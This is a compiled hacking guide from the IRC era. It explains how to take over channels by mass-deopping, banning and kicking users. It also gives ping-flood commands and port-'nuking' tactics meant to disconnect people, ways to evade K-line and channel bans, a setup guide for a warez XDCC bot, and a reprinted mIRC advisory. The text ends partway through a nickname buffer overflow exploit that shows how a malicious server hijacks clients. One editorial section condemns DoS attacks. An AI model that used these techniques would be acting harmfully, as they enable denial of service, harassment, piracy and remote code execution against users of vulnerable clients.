Channel takeovers are used to take a channel from a user, and prevent him from reentering the channel or gaining operator status in the channel. The first thing you need to do is to get ops. Here are 4 ways to get ops: 

1. Via a NetSplit. (might take a lot of time) 

2. Asking one of the ops to let you be an op (Who knows? You might get lucky). 

3. Running a bot on your computer or on a shell account and telling the other ops that it is online 24 hours a day, and ask them to op it. They might do it, then tell the bot to op you. 

4. You can always lure the other ops into giving you op by telling them that you will advertise their channel and bring them users and you might earn the ops status. 

You can do nothing without the OP status. Here is what you do after you got an op and you want to close they're channels: 

1. First, mass de-op all the users so they won't kick or ban you. There are a lot of scripts out there that will do this for you. 

2. Then place a ban on *!*@* 

3. Mass-Kick the channel (also with a script) 

4. After this set the following modes: +smilk 1 1 (you type /mode #Channel +smilk 1 1) 

5. You took over the channel! :) 

There is a problem with this, when you will leave the channel he will get empty and then closed. The only solution for this is placing a 24/7 (24 hours a day, 7 days a week) bot in the channel. If channel services are available on this network (Like in DALnet), you can register the channel if no one else have done this already. 

If you took over a registered channel, you will have a problem keeping it because Channel Services can give the channel back to its legal owner with no problem. 

[OLD TRICK How to completely ruin a channel] 

Here are some possible ways to completely ruin a channel: 

1) Turning the channel into an invite-only channel, so only people who were invited (to invite people, type /invite nick) can join. 

2) Making the channel password-protected. 

3) Making sure that you are the only OP in the channel and then turning the channel into moderated mode and then mass-devoicing everyone. In moderated mode, only voiced users (people with a little + in the beginning of their nick. To voice people, do /mode #channel +v nick or -v to devoice) can talk. That way, users will be able to see who is on the channel (note: you can see who's on a channel without joining it by typing /names #channel), but they won't be able to chat, and they will have to listen to you... :) 

[Some expansion about RAW sessions] 

Too lazy to read RFC ? 

Well, this is the "SUMMARY" of rfc1459 (IRC Protocol). Hopefully after reading this you'll have better understanding of how the protocol work (hey... don't just use it... try to understand how it work). Yeah... this is also how some people spoof their IP by telneting from some restricted shell account with no IRC client access. 

[Connecting to the IRC daemon] 

Telnet/netcat (yep... we're gonna use a raw socket) to the IRC port (6667/6668..etc) of the IRC server. 

eg <:> telnet irc.dal.net 6667 

Send your nick & username to be recognized after u got connected using the user command in this form "user ". 

eg <:> user nobody localhost localhost :I'm nobody nick nobody 

-------------------------[!! NOTE !!]------------------------- 

At any time if your receive anything like this 

ping :1234567 <-- The sequence number change all the time 

or 

ping :192.0.0.1 <-- Some IP address 

You must send back the number with a pong 

eg <:> pong :1234567 

or 

pong :192.0.0.1 

If you don't pong back, you'll be disconnected with a ping timeout error. 

---------------------[!! END OF NOTE !!]------------------- 

[Exploring some basic commands] 

Ok, after the nick & user commands you can start chatting now. Type join #channel (Without the /) to join #channel. 

(Yea... most commands you use in your BitchX or mIRC client can also be 

used here too...just don't include the / 

eg: part #channel 

quit :I'm out 

etc... ) 

To send your message to a channel, use the privmsg command. 

eg <:> privmsg #channel : Hi guys...Sup? (Dont forget the ":" if you are going to send more then one word) 

This will send "Hi guys...Sup?" to #channel 

To send a private message to a user: 

eg <:> privmsg nickname : HI ya 

This will send "HI ya" to nickname. 

To set a mode on a channel you simply type mode #channel mode. 

For example, MODE #Channel +b 192.114.*.* will ban everyone that they're IP begin with 192.114. 

[Fun stuff to do] 

If you get something like this ":nick!user@ip-address PRIVMSG your-nick :_VERSION_" 

this means that nick is trying ctcp/version you. This command is used to find out your version. 

Send the version back using the NOTICE command... it could be anything you want. 

eg : NOTICE nick :_VERSION Telnet version 0.1 :) _ 

This will send "Telnet version 0.1 :)" as the version reply. 

[Faking /CTCP Replies] 

Now many of you guys chat and have various people always doing{Client for Client Protocol} CTCP replies, ie. VERSION, TIME, FINGER, PING replies on you. These replies can get you in a lot of trouble, mainly its a way for people to gather information about you then start up an attack. Now it is time to change the replies your mirc will give in a way to cause the other end to be fooled. Well this topic has been covered by many writers and warscript developers, but many don't know about changing the replies to their advantage, well look no further, here we go! 

One of the most devistating attacks can come from a VERSION reply. 

To do a ctcp version reply on a user, all you have to do is type: 

"/ctcp <nick> VERSION " This will return the nick's irc client. Now you may ask why is that important? Well lets say your using mirc 5.7x which suffers from heap overflow of 217 bytes, and 5.8 heap overflow of 226 bytes by knowing your version an attacher already knows which operating system your using and a version, so they can hack you without a trojan and you won't know it happened. 

Lets kill the version reply to either give a fake reply or no reply at all so they can sit there waiting, lol. 

Okay you will need a hex editor for this, I recomment Hiew, get it not shwon:)

-make a backup of your mirc32.exe. 

-install hiew, load it up, once you have clicked mirc32.exe now you will see some garbage, click F7 that should popup the search box, type in VERSION you should be able to find the reply something like mIRC32 v5.8 K.Mardam-Bey. Now just delete the reply. If you have trouble doing it with Hiew then get another hex editor, there are many around but its the best. So save and exit. Now you can chose to have no Version reply to make your attacker suffer from waiting when there isn't going to be a reply or you can fake your reply to trick him. 

Lets trick the attacker: 

Load up you mirc, then goto the tools menu, then click " Remote ". There you should see a box, 

now simply write this mini script, 

ctcp 1:VERSION:{  .notice $me Recieved CTCP VERSION from $nick $+ / $+ $site  ctcpreply $nick VERSION "write your reply here, make it funny" | halt  }
So now we have faked our ctcp reply it should look like this, if we faked it to have no reply 

/ctcp Mikkkeee VERSION 

-> [Mikkkeee] VERSION 

- 

[Mikkkeee VERSION] 

- 

Well now the attacker will keep waiting and waiting. 

Lets fake some more, 

Another ctcp reply that can be of usage is /ctcp <nick> PING 

This reply of your ping will tell the attacker the speed of your connection and if your lagging, wink wink he might want to do a dos attack and boot you, so lets fake the reply to our advantage. 

Same as above write this mini script in our tools, then "remote" 

ctcp 1:PING:{  ctcpreply $nick PING "your pings number in sec" | halt  }
Usually I have mine set to 1 sec , but you can make it funny like 690263165 sec, which would leave the attacker fooled/confused. 

Another reply that can cause you a bit of harm is /ctcp <nick > TIME which will send the other user, your local time/date. This is very bad cause if your busy trying to bounce your ip over wingates and proxys and now your ip is somewhere in Asia, and someone does ctcp TIME then they will know your true location in the world, which can hurt your spoofing tricks. 

So lets fake it to our advantage! 

ctcp 1:TIME:{  ctcpreply $nick TIME "your new time" | halt  }
your new time can be something like, Tue Jun 12 22:23:17 1989 be creative! 

Another ctcp reply that can be used to gather some info on you is /ctcp <nick> FINGER 

its not a big deal but it simply replies what you have told it to reply, so just fake everything. 

hope that helps! 

[How to spoof via https proxys] 

Now this idea is very creative, and I just found a little program that you can use to do it. It is called ThroughTheFire 0.9  not shown:)which is able to spoof your ip via https proxys. It is a new innovation in spoofing, lol !You can also use this program to spoof telnet and i guess ftp sufing. Well all you have to do now is find working https proxy lists. To do so just type in ww.altavista.com <http://ww.altavista.com> 

+"Https proxy" and you should get some results, maybe not working results. Read the 

not shown :) . 

[War Scripts] 

War scripts are usually scripts for IRC clients that contain features like Mass DEOP / Kick, channel takeover options, nukers, flooders, clones and sometimes bots. Some scripts even contain some nice and funny features that don't necessarily have something to do with IRC Warfare. 

In this section I will briefly cover some of the more known war scripts and their features. 

7th Sphere Script (c) 1996-1997 7th Sphere Enterprises 

not shown:)

Pros: Easy setup, Nice protections, Automatically runs the Click nuker and fills-in all the needed values. 

Cons: Protections are not customizable enough. Channel Takeover doesn't mass kick / ban the channel. 

TRiBE (t7)  By kefz(tribe) 

Pros: Excellent protections, Excellent socket flood clones and firewall flood clones. The best I have ever seen! Comes with a great set of utilities. Can automatically run click with all the options pre-configured. Excellent set of scripts / clients / bots exploits / backdoors. 

Cons: None! Go get this script now! 

Peace and Protection 4.0 
Pros: Get it and see for your self, simply a work of art! 

Cons: Too many good tools, lol 

Wang Script 3.5 pro 
Pros: Wang Clone, Trojan scan, Password protection, nickname find, ctcp masking, email checking/sending, clone scanner, anti takeover, info finder, takeover, fake dcc's, telnet, wartools addons. 

Cons: NONE! 

[Editorial - IRC wars, another perspective] 

Note: Most of this is taken from an article that was written by Ntd (ntd@mirc.net). I feel that this article has the best perspective about the IRC wars. 

Note 2: If you are a newbie and you think IRC wars are a great form of hacking, and doing complex attacks you might want to skip this chapter and read it another time. 

IRC WAR? A LOAD OF SILLY NUKES 

Right, first things first, nukes - or properly, Denial of Service (DoS) attacks - are technically nothing to do with IRC war. They operate directly from the attacker to the victim's IP, and IRC comes into it only inasmuch as it gives the attacker a ready source of IP addresses to attack, and perhaps a "motive" for doing it (e.g, "they banned me!"). But, attackers could just as easily collect IPs from services such as ICQ (which, incidentally, has to be one of the most idiotically insecure protocols ever invented, yet many people who bemoan IRC attack happily run ICQ, and probably don't even check the option to hide their IP which is useless anyway because there are lot of patches that will always show you the IP even if the user chose to hide it). 

IRC WAR DOESN'T HELP IMPROVE SECURITY 

Surely the stupidest argument against IRC war, is that unlike other forms of hacking, it does not help anybody because it doesn't contribute to increased security. There is a mass of evidence showing quite clearly that this is not the case. Why did Microsoft release a winsock that was not vulnerable to the port 139 OOB nuke? Because that nuke became so widely abused. Why do current versions of mIRC have an option to only enable the identd server during connection? Because mIRC 5.3 had an ident exploit with which mIRC could be crashed. Why, in fact, have flood attacks become so obsolete? Because ircds now contain anti-flood code written directly in response to flood abuse. Of course these attacks are irritating and disruptive at the time, but in the long term they have undoubtedly led to more secure code in operating systems, clients and irc daemons. 

IRC WAR IS NOT REAL HACKING 

Again, this stems from a misunderstanding of what IRC war is. Essentially there are two types: TCP/IP attacks (ICMP nuke, smurf, fraggle, ping of death) and ircd based attacks (nick collisions, lag collisions, serverops, hacking o:lines, bogus bans). While the first category are almost exclusively "lame cracking" (that is, the user needs only to download a program and can then use it without any actual knowledge), the second category is more ambiguous. I know one person who finds many exploits by working with the ircd code (which is of course almost always free for download) - and finding bugs by working with the source is as "real" as hacking can get. Within a few days of their implementation he found ways of bypassing the ircnet ircd patches designed to protect against open socks servers and deliberate nick collisions. He even found a method by which a normal client could completely crash a server remotely. And what did he do with this knowledge...? 

DOS ATTACKS 

Yes, they are illegal, and yes they are disruptive. Furthermore, many DoS attacks affect many more people than those targeted, the most obvious example being the smurf attack. I am one of a group of friends who run a few of the biggest channels on ircnet, and these channels are regularly attacked by war groups intent on taking them. I make no exaggeration when I say that several times a week, if not everyday, members of the original channel opers complain that they are being smurfed by members of groups attempting to take the channel. These smurf attacks are capable of taking down entire ISPs and that IRC warriors recklessly use these attacks against single users just to take an irc channel is utterly inexcusable in my opinion. 

MOTIVATION 

While there are some IRC warriors / hackers like the individual I described above, it is sadly true that there are many more who are acting from more dubious motives. To the people who resort to floods, nukes and such tools just because they are banned from channels, I say: you need to get out more. What, then is my basic point? My conclusion is that IRC abuse and hacking is like any other branch of hacking - it ranges from the incredibly basic and lame to the actually quite skilled and beneficial. At the one end are the classic 13 year old hax0r wannabes with their CLICK.EXE, and I am in no way suggesting these people's behaviour should be excused or tolerated. However, I urge you all to be aware that at the other end of the scale exist talented, knowledgeable hackers discovering and revealing bugs in clients, OSes and ircds by a variety of methods and in doing so making IRC more secure for all of us. 

[Some intresting info by The Packet] 

=[Ping Flooding]= 

1. =What is a ping?= 

A ping is a small file (often 32 bytes) that is sent to another computer online, 

in which the other computer replys. Basicly it is saying "hello" to another 

computer. With this is also shows how long it took for the ping to get there 

and back. 

2. =So why is this usefull to me?= 

Well it can and it can not be usefull. If you are going to play a game like 

quake/quake2 on a server, the faster the ping gets there and back the better. 

Also, if you are on a fast connection you can nock people of there ISP 

temperarily. This is called ping flooding, and can work very well. The best 

thing to flood with is a T1 or better. Even if you don't have more than a 

28.8 you can lag or kill someone. Here is an example of how ping works 

C:\ping 24.131.12.124 

this would send a few 32byte packets to that host. Now, this won't do much 

by itself...but there are more features to pinging that make it very usefull. 

this is the command I often use 

C:\ping -l 2800 -t -w 2000 24.131.12.124 

(good for 28.8 users) 

-l is the size of the packet to send, generaly you want to keep trying higher 

numbers till you find the very most there connection can take....soon they 

will be to lagged to do much, or get killed. -w is how long it waits till it 

decides to time out.... -t keeps pinging the IP untill you hit CTRL+Break 

there are some other cool switches like -n wich echo floods them, and -v 

witch specifys the Terms Of Service 

=[Net Splits]= 

1. =[What is a NetSplit]= 

The large irc servers work, is they link together to provide less lag and a 

local server to many people. They link together so that people can talk and 

do what ever and not have to be on the same server. What a netsplit is, is 

when one server is lagged enough it breaks off from the rest of the servers 

then becoming its own stand alone server untill it merges again. 

2. =[Why Does this matter?]= 

Well it can and it can't matter....It is possible to take over a channel 

through netsplits. So it can matter if you want to protect yourself from 

this, or do it yourself. 

3. =[How do I protect myself?]= 

The only way is to have netsplit protection. Alot of people do not like this 

script, and I do not recomend using it unless you think someone is trying to 

take your channel. When servers merge it trys to restore the settings as it 

was before the split. So if you were a channel operator the server would OP 

you, reset the modes etc etc. When someone takes a channel by a netsplit they 

get opped by the server, so the script deops anyone who is opped by the server. 

If you do use this script, make sure people can op themselves automaticly by 

sending you a message. ... 

4. =[How do I take a channel through this?]= 

First you need a link looker, (which comes with this script). What a link 

looker does is search for servers that are about to or have broken off. When 

you find a server that has broken off, you need to quickly join that server 

and go into the channel you want to take over. If no one else is on that server 

you will be a channel operator. But this is not all you have to do, because 

when the servers merge again it will deop you. You need to run the Dysnch script 

which will fill the channel with bans and diffrent modes. Hopefully it will 

screw up the already screwed channel enough that when the merge happens it 

thinks you were a channel operator and you keep your OPS. Then you need to 

quickly run the takeover script so that none of the netsplit protection (if 

there are any) scripts deop you. 

=[Advanced Nuking]= 

Nuking is fun for the whole family, but sometimes it's not just "wham bam thank you ma'am". On 

occasion, it requires you to be a little creative to successfully nuke someone. hopefully 

we will give you some ideas on how to become a pheared nuker. 

** Open ports: 

In order to become a successful nuker, you must learn to find as much information about your 

target as possible. One of the most important elements to nuking is finding the right ports 

to nuke. the default IRC server ports are 6660-6669, with 6667 being the most commonly used. 

One thing you may discover throughout your nuking 'career' is that most servers offer different 

ports that are open for IRCing. The easiest way to find out the open ports is to check the 

Message Of the Day, for 90% of all IRC servers will list their open ports in the motd. To get 

the message of the day simply type '/motd irc.server.net'. This will display the motd and allow 

you to find the open ports (usually). Now you can nuke these ports, increasing your chances of 

success. 

** Their Connection: 

Another thing you may want to do is find out whether your target is on a shell account, or a 

dial-up account. Under normal circumstances, dial-up users are easier to nuke then shell accounts 

for reasons we won't go into right now. To find out which they are using, simply take the last 

part of their IP and try to visit to the ISP's homepage. Again, there are many servers that 

will describe their services on their web-page. Usually, if their ip is two or three legible 

words only interupted by a period, then it is a shell. For instance, 

"jkrondike@mainsys.postex.net" would most likely be a shell account, while 

"yourmom@modem29.er.actil.net" is usually a dial-up. 

** Nuking Shell Users: 

If you're using windows, you should download a program that will allow you to finger a server. 

Cyberkit is a good program, for it has Ping, Finger, Traceroute, etc. 

get it at http://www.ping.be/cyberkit/cyber.zip, or go find one of your own. there are hundreds 

to choose from. (no we're not being endorsed by cyberkit, it's just a kickass proggie) 

Most shell account users will login from a dial-up account, and if finger is running on their 

shell, it should display the dial-up IP address. Finger the server and once you know this, use 

your nuker to disconnect them from their shell by replacing the IRC server with their shell 

account address, and use the IP you found through finger as the client. Use ports 22 24 as the 

server ports, in place of 6660 6669. Port 23 is the default telnet port, so nuking from 22 to 24 

will effictivly disconnect them from their shell account. this usually causes your target to 

quit irc with "Where did my controling terminal go?" quit message. it's pretty funny when it 

works. 

How do I modify the IRC client to hide my real username?:-
Get the IRC client from cs.bu.edu /irc/clients. Look at the source code

files irc.c and ctcp.c. The code you are looking for is fairly easy to

spot. Change it. Change the username code in irc.c and the ctcp information

code in ctcp.c. Compile and run your client.

Here are the diffs from a sample hack of the IRC client. Your client code

will vary slightly depending on what IRC client version you are running.

*** ctcp.c.old  Wed Feb 10 10:08:05 1993

--- ctcp.c      Fri Feb 12 04:33:55 1993

***************

*** 331,337 ****

        struct  passwd  *pwd;

        long    diff;

        int     uid;

!       char    c;

        /*

         * sojge complained that ircII says 'idle 1 seconds'

--- 331,337 ----

        struct  passwd  *pwd;

        long    diff;

        int     uid;

!       char    c, *fing;

        /*

         * sojge complained that ircII says 'idle 1 seconds'

***************

*** 348,354 ****

        if (uid != DAEMON_UID)

        {

  #endif /* DAEMON_UID */

!               if (pwd = getpwuid(uid))

                {

                        char    *tmp;

--- 348,356 ----

        if (uid != DAEMON_UID)

        {

  #endif /* DAEMON_UID */

!               if (fing = getenv("IRCFINGER"))

!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);

!               else if (pwd = getpwuid(uid))

                {

                        char    *tmp;

*** irc.c.old   Wed Feb 10 06:33:11 1993

--- irc.c       Fri Feb 12 04:02:11 1993

***************

*** 510,516 ****

                malloc_strcpy(&my_path, "/");

        if (*realname == null(char))

                strmcpy(realname, "*Unknown*", REALNAME_LEN);

!       if (*username == null(char))

        {

                if (ptr = getenv("USER"))

                        strmcpy(username, ptr, NAME_LEN);

--- 510,518 ----

                malloc_strcpy(&my_path, "/");

        if (*realname == null(char))

                strmcpy(realname, "*Unknown*", REALNAME_LEN);

!       if (ptr = getenv("IRCUSER"))

!               strmcpy(username, ptr, NAME_LEN);

!       else if (*username == null(char))

        {

                if (ptr = getenv("USER"))

                        strmcpy(username, ptr, NAME_LEN);

xdcc bots:-
Reqs:

   1 Telnetable Shell with a compiler either cc or gcc and irc installed

   2 Above Files

   3 The Stuff you want to offer

Now Onto Installation:

  Telnet in after upping those to files, and go to the dir you upped them to

  tar -xfv screen-3.tar

  go into the dir made by tar(screen-3.7.2)

  (Next 4 lines are seperate lines you type into the prompt followed by enter)

  ./configure

  ./make

  ./screen

  irc

  Once in Irc Do the following

  /server irc.gate.net

  /nick yourbotnick

  /join #warez.somer

  /load fp.irc

  /offer

    (it asks for path to your file, enter in full path unless you were smart

        enough to start doing this in your warez dir.)

    (With the path set, now enter in a description like Memphis Beta 1)

    (Then a note should be like Offered by LordSomer or a descrip of the

        prog or just hit enter)

  Repeat the above commmand till you have them all entered in

  /xdcc minspeed 1.0

  /xdcc list

     (You should see your list of warez be offered by the bot.)

  /ptime 4

     (This is num of minutes betweeen auto listings)

  /pchannel #warez.somer

     (This is how you add chans you want to have the list auto offered in.)

  /xdcc save

  /save

     (These will save your settings but if you restart it you'll need to

       redo the ptime and pchannel, pretty stupid aint it?)

  hit CTRL+a then d

  it will detach you from the whole irc thing

  you can logout of the shell and your xdcc will still run.

If your bot at anypoint in time dies just log into your shell go to the dir

 you put screen in and type ./screen then cd ..

 then 

  irc

  Once in Irc Do the following

  /server irc.gate.net

  /nick yourbotnick

  /join #warez.somer

  /load fp.irc

 Then just reset your pchannel and ptime settings.

  hit CTRL+a then d

  it will detach you from the whole irc thing

  you can logout of the shell and your xdcc will still run.

Say ya wanna edit something and you've already logged out....

  just log back in and do screen -list from the dir you installed screen in

  it'll list all screens find the one that has (DETACHED) on the end and do

  ./screen -r (the on that was detached)

  and your back in irc and just do the above steps like usual.

Additional Info:

 List of Xdcc Commands:

  +----------------------------------------------------------------------+

  |            Phoenix Version 2.27 by Vassago - XDCC Commands           |

  +----------------------------------------------------------------------+

  | /XDCC LIST <#> - to get a list of your packs offered.                |

  | /XDCC SEC <ON/OFF> - Turns XDCC Security ON or OFF.                  |

  | /XDCC NOTICE - to make a public notice that you are offering files.  |

  | /XDCC PLIST - to offer your file list to the channel.                |

  | /XDCC SEND - to send files.                                          |

  | /XDCC PSEND - to send packs.                                         |

  | /XDCC GET - to get files.                                            |

  | /XDCC CLOSE - to close files.                                        |

  | /XDCC STATUS - to get XDCC status.                                   |

  | /XDCC OFFER - to offer files to people.                              |

  | /XDCC DOFFER - to remove files from offered list.                    |

  | /XDCC FILE #X - to add/change the file(s) on pack #X                 |

  | /XDCC DESC #X - to add/change the desc on pack #X                    |

  | /XDCC NOTE #X - to add/change the note on pack #X                    |

  | /XDCC PMIN #X - to add/change the minspeed on pack #X                |

  | /XDCC LOAD <Filename> - to load offer-file FILENAME.                 |

  | /XDCC SAVE <Filename> - to create an offer-file FILENAME.            |

  | /XDCC AUTOGET - when on, automatically get any file sent to you.     |

  | /XDCC AUTOCHAT - ON, ASK, or CLOSE.  Automatically handle CHATs      |

  | /XDCC AUTODCCVOICE - Voices people with DCC in nick when they join   |

  | /XDCC AUTOCLOSE - when on, automatically refuse any file sent to you.|

  |                    NOTE: Overrides /autoget                          |

  | /XDCC AUTOSEND - when on, automatically sends files on XDCC SEND msg.|

  | /XDCC OVERWRITE - to switch Autoget Overwrite ON/OFF.                |

  | /XDCC AUTORENAME - toggles AUTORENAMING of existing files, if        |

  |                     AUTOGET is on.                                   |

  | /XDCC ULDIR - to set your XDCC upload directory.                     |

  | /XDCC DLDIR - to set your XDCC download directory.                   |

  | /XDCC LIMIT <num> - to set your XDCC AUTOSEND limit.                 |

  | /XDCC MINSPEED <bytes/sec> - to set the minimum autocancel rate.     |

  | /XDCC TIMELIMIT <mins> - to set the maximum time for an XDCC SEND    |

  | /XDCC QMAX <num> - to set the maximum number of people in the Q      |

  |            Also see  /PHELP QUEUE\                                   |

  +----------------------------------------------------------------------+

Shit-simple script to supply the "privmsg <recipient>" of IRC typein, and

keep the connection alive:-
#! /bin/sh

## Shit-simple script to supply the "privmsg <recipient>" of IRC typein, and

## keep the connection alive.  Pipe this thru "nc -v -w 5 irc-server port".

## Note that this mechanism makes the script easy to debug without being live,

## since it just echoes everything bound for the server.

## if you want autologin-type stuff, construct some appropriate files and

## shovel them in using the "<" mechanism.

# magic arg: if "tick", do keepalive process instead of main loop

if test "$1" = "tick" ; then

# ignore most signals; the parent will nuke the kid

# doesn't stop ^Z, of course.

  trap '' 1 2 3 13 14 15 16

  while true ; do

    sleep 77

    echo "PONG !"

  done

fi

# top level: fire ourselves off as the keepalive process, and keep track of it

sh $0 tick &

ircpp=$!

echo "[Keepalive: $ircpp]" >&2

# catch our own batch of signals: hup int quit pipe alrm term urg

trap 'kill -9 $ircpp ; exit 0' 1 2 3 13 14 15 16

sleep 2

sender=''

savecmd=''

# the big honkin' loop...

while read xx yy ; do

  case "${xx}" in

# blank line: do nothing

    "")


continue

    ;;

# new channel or recipient; if bare ">", we're back to raw literal mode.

    ">")


if test "${yy}" ; then


  sender="privmsg ${yy} :"


else


  sender=''


fi


continue

    ;;

# send crud from a file, one line per second.  Can you say "skr1pt kidz"??

# *Note: uses current "recipient" if set.

    "<")


if test -f "${yy}" ; then


  ( while read zz ; do


    sleep 1


    echo "${sender}${zz}"


  done ) < "$yy"


  echo "[done]" >&2


else


  echo "[File $yy not found]" >&2


fi


continue

    ;;

# do and then save a single command, for quick repeat [such as "join #hack"

# when they're being kick-happy...]

    "/")


if test "${yy}" ; then


  savecmd="${yy}"


fi


echo "${savecmd}"

    ;;

# default case goes to recipient, just like always

    *)


echo "${sender}${xx} ${yy}"


continue

    ;;

  esac

done

# parting shot, if you want it

echo "quit :TTFN"

kill -9 $ircpp

exit 0

A TRICK ON UNBANING UR-SELF WITHOUT BNC:)

K-LINE BAN

CHANNEL BAN

I_HIGH LEVEL

II)LOW LEVEL

BONUS:-

1)how to hack channel without split

here is how u can by-pass the k-line ban

1)open options in mirc

2)goto local info

u will see locahost,ipaddress & check options

on connect always get:-

ƒ local host,  ƒ ip address

lookup method:-

ƒ normal  ƒ server

3) change them,

in the localhost : type n e host, (i didn;t try invalid hosts) www.yahoo.com

ipaddress:it will auto get from the local host name!

4)Now come to, on connect always get:-

in there uncheck the localhost & ip address

5)in the last , lookup method:

uncheck the normal , but check the ƒserver

6)goto next screen identd

u will see something like that

enable ident server

user id:

system:

listen on port:113

ƒshow ident request

ƒenable only when connectin

7) change them,

like this:-

uncheck enable ident server

user id: totally new id!

system: (:P depends on u!)

listen on port:113

check the show ident request

uncheck enable only when connecting

& connect to the irc , if u did this RITE , U WILL BE ABLE TO CONNECT IRC.

note:-

   some websites, will cause the problem something like that irc trojan horse found,

change the website name!

I)LOW LEVEL BAN:-

ur ban & u want to bypass the ban open the ipconfig (something like that 2 renew ur ip) & click 

renew ip,

now goto ur irc & enter to the channel!

II)HIGH LEVEL BAN:-

if ur ban & want to unban ur self format ur mirc completey from registry 2 & then

restart ur pc & install mirc again, u will be able to unban!

NOW ON THE CHANNEL MAIN BAN! as u i told u early about k-lined ban do a same trick,

if u do it rite u will be able to by-pass it!

if that still don't work then find n e wingate & do a spoofing!

HACKING CHANNEL'S WITHOUT NET SPLIT:-

 If a channel has added you to AKick by nickname and SET IDENT is disabled for the channel, you can add *@* to your nick's access list and everyone who is not AOP or above will be akicked from the channel!

PART D (HOW - TO NOTE oN HACKING iN IRC NETWORK)

How do I hack ChanOp on IRC?:-
Find a server that is split from the rest of IRC and create your own

channel there using the name of the channel you want ChanOp on. When that

server reconnects to the net, you will have ChanOp on the real channel. If

you have ServerOp on a server, you can cause it to split on purpose.

MIRC MOST DEADLY TRICKS:)-
1.how to dcc irc flaw  a user.

mIRC DCC Server Security Flaw 
Mar, 13 2002 - 05:29
contributed by: hx 

Summary 

There is an error in the implementation of the mIRC DCC server protocol. 

This venerability allows an attacker to obtain: 

1) The victim's nickname. 

2) Whether or not the victim is ignoring the attacker's requests for a direct connection. 

3) Information regarding the number of IRC servers a user is connected to. 

Details 

The protocol itself can be found in mIRC's help file. The specific problem can be recreated as follows: 

1) Make a connection to the open DCC server. 

2) Type: 100 testing 

3) From this point on, there is nothing that the user can do to prevent you from obtaining his or her nick. 

Regardless of whether they select "Accept", "Cancel", "Ignore", or click on the "X" to close the chat request completely, the server will always respond with their nick in the form: 

151 

This clearly shouldn't be the case. Even if they wait until the DCC Server times out, a default of 300 seconds, the server still replies with their nick. 

As for determining if someone is "ignoring" the request... you just have to time to see how fast the server replies with the information. If the timings are ever different, someone is sitting there and clicking on things. 

Now for finding out if they are on another server - compare the returned nick, to the nick that they have on the local IRC server you are on them with. If it's different, they are on another server with this other nick. There may be exceptions to this. Also, this depends on whether you are on an IRC server with them, but it is still a possible attack. 

Solutions: 

1) Simply have the server return the nick if, and only if, the "victim" accepts the connection - not when they select "Cancel", and definitely not when they select "Ignore". 

2) Have an option to not close the connection for a set amount of seconds, even after the "victim" makes their choice of ignoring the chat. 

3) The author suggests having a DCC Server Nick, which is always the same for DCC Chats made through the server. 

4) It would also be nice to have the ability of: 

a) Seeing when people connect to this port, even if the request fails. 

b) Having some sort of port filtering, so that you can accept/deny IPs, without the need for a 3rd party firewall. 

Of course, this all falls apart if you do not know what port the DCC Server is running on. But it seems the majority of users leave it to the default settings - hopefully this will teach some people to be a little more careful, and not use default port numbers for services such as this. As we know though, this information could of course be scanned for rather simply, so even changing the port upon which this service listens will not solve all of the problems. 

Additional information 

The information has been provided by James Evans. 

IRC NICK BUFFER OVERFLOW:)-
IRC (Internet Relay Chat) is a virtual meeting place where people from all over the world can meet and talk; you'll find the whole diversity of human interests, ideas, and issues here, and you'll be able to participate in group discussions on one of the many thousands of IRC channels, or just talk in private to family or friends, wherever they are in the world. To use IRC you need a small program like mIRC <http://www.mirc.co.uk/>, a shareware IRC client for Windows. Two security vulnerabilities in the product would allow a remote attacker to cause the mIRC program to execute arbitrary code by causing it to first connect to a malicious server.

Details Vulnerable systems:
mIRC version 5.91

mIRC version 5.9

mIRC version 6.0

(All prior versions should be considered vulnerable)

irc:// Vulnerability:
An HTML page can cause mIRC to launch automatically. This includes HTML e-mail when read from within Outlook Express. Under some circumstances mIRC will automatically connect to the server specified within the HTML page, other times mIRC will ask if the user wishes to open another copy of mIRC or use the current one.

Details:
Just insert the following code into an HTML page or HTML e-mail. 

<iframe src="irc://irc.example.com:6666">

Nickname buffer overflow:
mIRC assumes the current nickname of the client as sent by the server is fewer than 100 characters long. mIRC stores the current and alternative nickname as a static array. Sending a nickname over 200 characters long allows overwriting of a key variable, the index to the current nickname.

The C code looks something like this 

char nicks[2][100];

int currentnick;

//blah blah

void setnick(char *newnick) {

strcpy(nicks[currentnick], newnick);

} 

As you can overwrite currentnick, you can cause the strcpy to write to anywhere in memory to a 100-byte precision. In addition, as mIRC allows us to send nearly 1000 bytes into the buffer, that is quite a lot of space to exploit.

The attacker does the following: 

* Gets the victim to connect to their server 

* Sends a message changing the nick of the victim to a nick overwriting currentnick, to make it point to the stack. 

* Sends a message changing the nick of the victim, this time overwriting EIP on the stack. 

The attacker includes the shell code in either of the messages. There are two ways currently known of overflowing this buffer, the first is to send:

NICK oldnick longlongnewnick

However, it has the problem that once it has been issued and currentnick made to point to the stack the current nickname is unknown. The way to solve this would be to kill the connection, let mIRC automatically reconnect then fire the exploit (mIRC would send you the nickname). However, this would rely on the "autoreconnect" feature. 

The other method is to send the following: 

:anything 001 longlongnick :anything

Mitigating factors:
* mIRC has to be connected to the exploiting server. However the irc:// vulnerability pretty much cancels this.

* The location of the stack varies throughout each Windows version. However if the irc:// vulnerability was being used, Internet Explorer at least sends the Windows version as a header.

* The victim's version of mIRC must be known to be successful, this could be obtained by issuing a CTCP version 

Exploit:
/* Mirc buffer nickname buffer overflow proof of concept exploit.

Author: James Martin

This code is purely to demonstrate the risk posed by this flaw.

It should not be used for malicious purposes. I do not accept

any responsibility for any damage it may cause due to it use.

This code compiles in Borland C++ 5.5 command line tools. Run it,

and type /server 127.0.0.1 2680 (in mirc that is :P).

This exploit could be modified to work on many editions of mirc

running on all variants of windows. However due to the messing

around that is required to place the return address on the stack

It will work on:

For the following do not #define EXPLOIT_2K

Windows 98SE running Mirc 5.91

Windows 98 running Mirc 5.91

Windows ME running Mirc 5.91

With exploit 2K defined it will exploit

Windows 2K

The basic concept of this overflow is as follows

In memory mirc stores the following variables

[Primarynick(100chars)][Alternativenick(100chars)][WhichNick[dword]]

There is no length checking on the nickname returned to nick by the server.

There are two ways to exploit this

a) Send the msg ":OLDCLIENTNICK NICK NEWCLIENTNICK"

b) Send ":testserver 001 NEWNICKNAME :blah blah"

I found method a) on the 24/10/2001 and reported this problem to the author.

Method b) was published by eSDee of hoepelkoe 23/10/2001 (completely unknown to me!)

very coincidental really.

From debugging the code, it seems that this buffer is copied in several places.

So there maybe more places to exploit this than are currently known.

I spent quite a bit of time analysing the hole, in the end I found

the way to do it was, to overright WhichNick with a value, that would

cause the currentnickname to reference the stack, then send another nick

